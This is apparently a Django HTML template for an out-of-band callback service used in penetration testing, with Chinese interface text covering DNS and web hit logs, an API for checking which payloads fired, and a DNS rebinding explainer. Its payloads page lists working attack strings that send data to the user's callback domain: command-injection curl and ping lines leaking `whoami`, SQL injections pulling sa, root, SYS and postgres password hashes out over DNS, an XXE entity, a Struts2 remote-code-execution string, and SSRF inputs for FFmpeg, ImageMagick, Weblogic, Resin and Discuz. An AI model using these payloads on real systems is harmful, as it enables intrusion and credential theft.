{% load static %} {% load i18n %} {{ title }}
{% if fail %}
{{ fail }}
{% endif %} {% if suc %}
{{ suc }}
{% endif %} {% if type == 'dns'%}
{% translate '子域名' %}: {{userdomain}}
{% include 'auto_reload.html' %}
{% for log in logs %} {% endfor %}
ID {% translate '域名' %} Type IP {% translate '位置' %} {% translate '时间' %} {% translate '操作' %}
{{log.id}} {{ log.host }} {{ log.type }} {% if log.ip %} {{ log.ip }} {% else %}   {% endif %} {% if log.city %} {{ log.city }} {% else %}   {% endif %} {{ log.created_time|date:'Y-m-d H:i:s' }} {% translate '删除' %}
{% include 'pager.html' %}
{% endif %} {% if type == 'web'%}
{% include 'auto_reload.html' %}
{% for log in logs %} {% endfor %}
ID URL IP {% translate '位置' %} {% translate '时间' %} {% translate '操作' %}
{{log.id}} {{ log.path }} {% if log.remote_addr %} {{ log.remote_addr }} {% else %}   {% endif %} {% if log.city %} {{ log.city }} {% else %}   {% endif %} {{ log.created_time|date:'Y-m-d H:i:s' }} {% translate '查看' %} {% translate '删除' %}
{% if log.headers %}{{ log.headers }}{% else %}{{ log.remote_addr }}{% endif %}
{% include 'pager.html' %}
{% endif %} {% if type == 'config'%}

{% translate '子域名' %}: {{userdomain}} Token: {{token}} {% if is_admin %} {% translate '开启用户注册功能' %} {% translate '开启产生随机账号' %} {% endif %}

{% translate '单个请求命中查询' %}

{{host}}/api/{type}/{{username}}/{prefix}/?token={{ token }}

  • type: {% translate '设置为' %} dns {% translate '或者' %} web
  • prefix: {% translate '三级域名前缀' %}

{% translate '检查是否触发' %} test.{{userdomain}},{% translate '访问' %}:{{host}}/api/dns/{{username}}/test/?token={{ token }}

  • {% translate '返回' %} True,{% translate '请求被触发' %}
  • {% translate '返回' %} False,{% translate '请求未触发' %}
{% translate '多个请求命中查询' %}

{{host}}/api/group/dns/{{username}}/{prefix}/?token={{ token }}

  • prefix: {% translate '三级域名前缀' %}

{% translate '对于一个较大的Payload集合,首先批量投递payload,再通过单个请求,来检查哪些payload触发执行成功。' %}

  • {% translate '扫描器投递' %} payload1,{% translate '使用域名' %}:payload1.xxx-rce.{{userdomain}}
  • {% translate '扫描器投递' %} payload2,{% translate '使用域名' %}:payload2.xxx-rce.{{userdomain}}
  • {% translate '扫描器投递' %} payload3,{% translate '使用域名' %}:payload3.xxx-rce.{{userdomain}}
  • ...

{% translate '检查是否存在漏洞,访问' %}:{{host}}/api/group/dns/{{username}}/xxx-rce/?token={{ token }}

  • {% translate '返回' %} False,{% translate '漏洞未触发' %}
  • {% translate '返回' %} {"success": "true", "data": ["payload3", "payload2", "payload1"]}{% translate ',漏洞被触发,data字段包含成功触发的payload清单,至多返回50个' %}
{% endif %} {% if type == 'rebind'%}
{% translate '生成域名' %}
什么是DNS重绑定

应用程序在请求用户可控的URL/域名资源时,有安全经验的程序员,往往会先解析域名,判断域名指向的IP是否在允许的范围中

例如,为了防御SSRF攻击,开发会首先检测URL中的域名指向的是一个非内网IP,才会在应用中发起后续请求。但是,由于第二步HTTP请求并不直接依赖第一步DNS请求的结果,黑客可以控制第二步请求中的目标IP,导致绕过检测。

攻击的方法是:
在程序做合法性校验时,DNS服务器首先返回一个预期的合法IP。由于DNS记录TTL为0,当应用真正发起HTTP请求资源时,再次DNS查询,此时DNS服务器立即返回一个非法的IP。

{% endif %} {% if type == 'payloads'%}
一、命令执行场景

Liunx/Unix/Mac OS系统:

curl http://ip.port.{{ userdomain }}/`whoami`
ping `whoami`.ip.port.{{ userdomain }}

Windows系统:

ping %USERNAME%.{{ userdomain }}

二、SQL注入场景

SQL Server数据库:

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.{{ userdomain }}';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle数据库:

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.{{ userdomain }}');
SELECT UTL_HTTP.REQUEST('http://ip.port.{{ userdomain }}/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.{{ userdomain }}/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.{{ userdomain }}',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.{{ userdomain }}',80) FROM DUAL;

MySQL数据库:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.{{ userdomain }}\\abc'));

PostgreSQL数据库:

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.{{ userdomain }}\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

三、XXE场景

XML实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.{{ userdomain }}/xxe_test">
%remote;]>
<root/>

四、其他场景

Struts2中间件:

xx.action?redirect:http://ip.port.{{ userdomain }}/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.{{ userdomain }}/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

FFMpeg插件:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://ip.port.{{ userdomain }}
#EXT-X-ENDLIST

Weblogic中间件:

example.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.{{ userdomain }}/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

ImageMagick插件:

push graphic-context
viewbox 0 0 640 480
fill 'url(http://ip.port.{{ userdomain }})'
pop graphic-context

Resin中间件:

example.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.{{ userdomain }}/ssrf

Discuz社群:

example.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.{{ userdomain }}/x.jpg[/img]&formhash=x

{% endif %}